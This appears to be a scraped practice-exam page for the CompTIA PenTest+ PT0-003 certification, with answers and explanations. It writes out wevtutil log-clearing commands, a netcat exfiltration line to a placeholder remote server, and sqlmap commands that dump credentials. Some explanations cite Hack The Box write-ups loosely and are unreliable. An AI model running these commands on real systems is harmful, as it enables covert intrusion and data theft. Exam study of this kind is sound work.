ExamGecko
Home Home / CompTIA / PT0-003

CompTIA PT0-003 Practice Test - Questions Answers, Page 3

Question list
Search
Search

List of questions

Search

Related questions











During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

A.
Clear the Windows event logs.
A.
Clear the Windows event logs.
Answers
B.
Modify the system time.
B.
Modify the system time.
Answers
C.
Alter the log permissions.
C.
Alter the log permissions.
Answers
D.
Reduce the log retention settings.
D.
Reduce the log retention settings.
Answers
Suggested answer: A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

Understanding Windows Event Logs: Windows event logs are a key forensic artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

Why Clear Windows Event Logs:

Comprehensive Coverage: Clearing the event logs removes all recorded events, including login attempts, application errors, and security alerts. This makes it difficult for an investigator to trace back the actions performed by the attacker.

Avoiding Detection: Penetration testers clear event logs to ensure that their presence and activities are not detected by system administrators or security monitoring tools.

Method to Clear Event Logs:

Use the built-in Windows command line utility wevtutil to clear logs. For example:

shell

Copy code

wevtutil cl System

wevtutil cl Security

wevtutil cl Application

These commands clear the System, Security, and Application logs, respectively.

Alternative Options and Their Drawbacks:

Modify the System Time: Changing the system time can create confusion but is easily detectable and can be reverted. It does not erase existing log entries.

Alter Log Permissions: Changing permissions might prevent new entries but does not remove existing ones and can alert administrators to suspicious activity.

Reduce Log Retention Settings: This can limit future logs but does not affect already recorded logs and can be easily noticed by administrators.

Case

Reference:

HTB Writeups: Many Hack The Box (HTB) writeups demonstrate the importance of clearing logs post-exploitation to maintain stealth. For example, in the 'Gobox' and 'Writeup' machines, maintaining a low profile involved managing log data to avoid detection.

Real-World Scenarios: In real-world penetration tests, attackers often clear logs to avoid detection by forensic investigators and incident response teams. This step is crucial during red team engagements and advanced persistent threat (APT) simulations.

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| --

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP

Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP

Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP

Block | . | . | *

Which of the following commands should the tester try next?

A.
tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
A.
tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
Answers
B.
gzip /path/to/data && cp data.gz <remote_server> 443
B.
gzip /path/to/data && cp data.gz <remote_server> 443
Answers
C.
gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
C.
gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
Answers
D.
tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
D.
tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
Answers
Suggested answer: A

Explanation:

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz

This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

Option B: gzip /path/to/data && cp data.gz <remote_server> 443

This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22

This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.

Reference from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?

A.
Latches
A.
Latches
Answers
B.
Pins
B.
Pins
Answers
C.
Shackle
C.
Shackle
Answers
D.
Plug
D.
Plug
Answers
Suggested answer: B

Explanation:

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:

Components of a Pin Tumbler Lock:

Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.

Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

Springs: These apply pressure to the driver pins.

Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.

Cylinder: The housing for the plug and the pins.

Operation:

When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the shear line (the gap between the plug and the cylinder).

The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

Why Pins Are the Correct Answer:

The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.

Illustration in Lock Picking:

Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

A penetration tester assesses an application allow list and has limited command-line access on the Windows system. Which of the following would give the penetration tester information that could aid in continuing the test?

A.
mmc.exe
A.
mmc.exe
Answers
B.
icacls.exe
B.
icacls.exe
Answers
C.
nltest.exe
C.
nltest.exe
Answers
D.
rundll.exe
D.
rundll.exe
Answers
Suggested answer: C

Explanation:

When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test. Here's an explanation for each option:

mmc.exe (Microsoft Management Console):

Primarily used for managing Windows and its services. It's not typically useful for gathering information about the system from the command line in a limited access scenario.

icacls.exe:

This tool is used for modifying file and folder permissions. While useful for modifying security settings, it does not directly aid in gathering system information or enumeration.

nltest.exe:

This is a powerful command-line utility for network testing and gathering information about domain controllers, trusts, and replication status. Key functionalities include:

Listing domain controllers: nltest /dclist:<DomainName>

Querying domain trusts: nltest /domain_trusts

Checking secure channel: nltest /sc_query:<DomainName>

These capabilities make nltest very useful for understanding the network environment, especially in a domain context, which is essential for penetration testing.

rundll.exe:

This utility is used to run DLLs as programs. While it can be used for executing code, it does not provide direct information about the system or network environment.

Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the domain environment.

A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client's current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers. Which of the following actions would the tester most likely take?

A.
Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
A.
Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
Answers
B.
Perform an internal vulnerability assessment with credentials to review the internal attack surface.
B.
Perform an internal vulnerability assessment with credentials to review the internal attack surface.
Answers
C.
Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
C.
Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
Answers
D.
Perform a full internal penetration test to review all the possible exploits that could affect the systems.
D.
Perform a full internal penetration test to review all the possible exploits that could affect the systems.
Answers
Suggested answer: A

Explanation:

BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms. Here's why option A is the best choice:

Controlled Testing Environment: BAS tools provide a controlled environment where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.

Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs, allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.

Feedback and Reporting: These tools provide detailed feedback and reporting on the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat-modeling team to understand the current security posture and areas for improvement.

Reference from Pentest:

Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses.

Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

A.
Logic bomb
A.
Logic bomb
Answers
B.
SQL injection
B.
SQL injection
Answers
C.
Brute-force attack
C.
Brute-force attack
Answers
D.
Cross-site scripting
D.
Cross-site scripting
Answers
Suggested answer: B

Explanation:

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here's why option B is the most likely technique:

Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.

Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

Reference from Pentest:

Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.

Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

A penetration tester identifies an exposed corporate directory containing first and last names and phone numbers for employees. Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?

A.
Smishing
A.
Smishing
Answers
B.
Impersonation
B.
Impersonation
Answers
C.
Tailgating
C.
Tailgating
Answers
D.
Whaling
D.
Whaling
Answers
Suggested answer: A

Explanation:

When a penetration tester identifies an exposed corporate directory containing first and last names and phone numbers, the most effective attack technique to pursue would be smishing. Here's why:

Understanding Smishing:

Smishing (SMS phishing) involves sending fraudulent messages via SMS to trick individuals into revealing personal information or performing actions that compromise security. Since the tester has access to phone numbers, this method is directly applicable.

Why Smishing is Effective:

Personalization: Knowing the first and last names allows the attacker to personalize the messages, making them appear more legitimate and increasing the likelihood of the target responding.

Immediate Access: People tend to trust and respond quickly to SMS messages compared to emails, especially if the messages appear urgent or important.

Alternative Attack Techniques:

Impersonation: While effective, it generally requires real-time interaction and may not scale well across many targets.

Tailgating: This physical social engineering technique involves following someone into a restricted area and is not feasible with just names and phone numbers.

Whaling: This targets high-level executives with highly personalized phishing attacks. Although effective, it is more specific and may not be suitable for the broader set of employees in the directory.

A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings, and high-level statements. Which of the following sections of the report would most likely contain this information?

A.
Quality control
A.
Quality control
Answers
B.
Methodology
B.
Methodology
Answers
C.
Executive summary
C.
Executive summary
Answers
D.
Risk scoring
D.
Risk scoring
Answers
Suggested answer: C

Explanation:

In the final report for a penetration test engagement, the section that most likely contains details on the impact, overall security findings, and high-level statements is the executive summary. Here's why:

Purpose of the Executive Summary:

It provides a high-level overview of the penetration test findings, including the most critical issues, their impact on the organization, and general recommendations.

It is intended for executive management and other non-technical stakeholders who need to understand the security posture without delving into technical details.

Contents of the Executive Summary:

Impact: Discusses the potential business impact of the findings.

Overall Security Findings: Summarizes the key vulnerabilities identified during the engagement.

High-Level Statements: Provides strategic recommendations and a general assessment of the security posture.

Comparison to Other Sections:

Quality Control: Focuses on the measures taken to ensure the accuracy and quality of the testing process.

Methodology: Details the approach and techniques used during the penetration test.

Risk Scoring: Provides detailed risk assessments and scoring for specific vulnerabilities but does not offer a high-level overview suitable for executives.

A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

A.
A generative AI assistant
A.
A generative AI assistant
Answers
B.
The customer's designated contact
B.
The customer's designated contact
Answers
C.
A cybersecurity industry peer
C.
A cybersecurity industry peer
Answers
D.
A team member
D.
A team member
Answers
Suggested answer: D

Explanation:

Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here's why:

Internal Peer Review:

Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.

Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report before it reaches the client.

Alternative Review Options:

A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.

The Customer's Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.

A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer's lack of specific context regarding the engagement.

In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

A.
sqlmap -u www.example.com/?id=1 --search -T user
A.
sqlmap -u www.example.com/?id=1 --search -T user
Answers
B.
sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
B.
sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
Answers
C.
sqlmap -u www.example.com/?id=1 --tables -D accounts
C.
sqlmap -u www.example.com/?id=1 --tables -D accounts
Answers
D.
sqlmap -u www.example.com/?id=1 --schema --current-user --current-db
D.
sqlmap -u www.example.com/?id=1 --schema --current-user --current-db
Answers
Suggested answer: B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here's a breakdown of the options:

Option A: sqlmap -u www.example.com/?id=1 --search -T user

The --search option is used to search for columns and not to dump data. This would not enumerate password hashes.

Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred

This command uses --dump to extract data from the specified database accounts, table users, and column cred. This is the correct option to enumerate password hashes, assuming cred is the column containing the password hashes.

Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts

The --tables option lists all tables in the specified database but does not extract data.

Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

The --schema option provides the database schema information, and --current-user and --current-db provide information about the current user and database but do not dump data.

Reference from Pentest:

Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.

Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

Total 120 questions
Go to page: of 12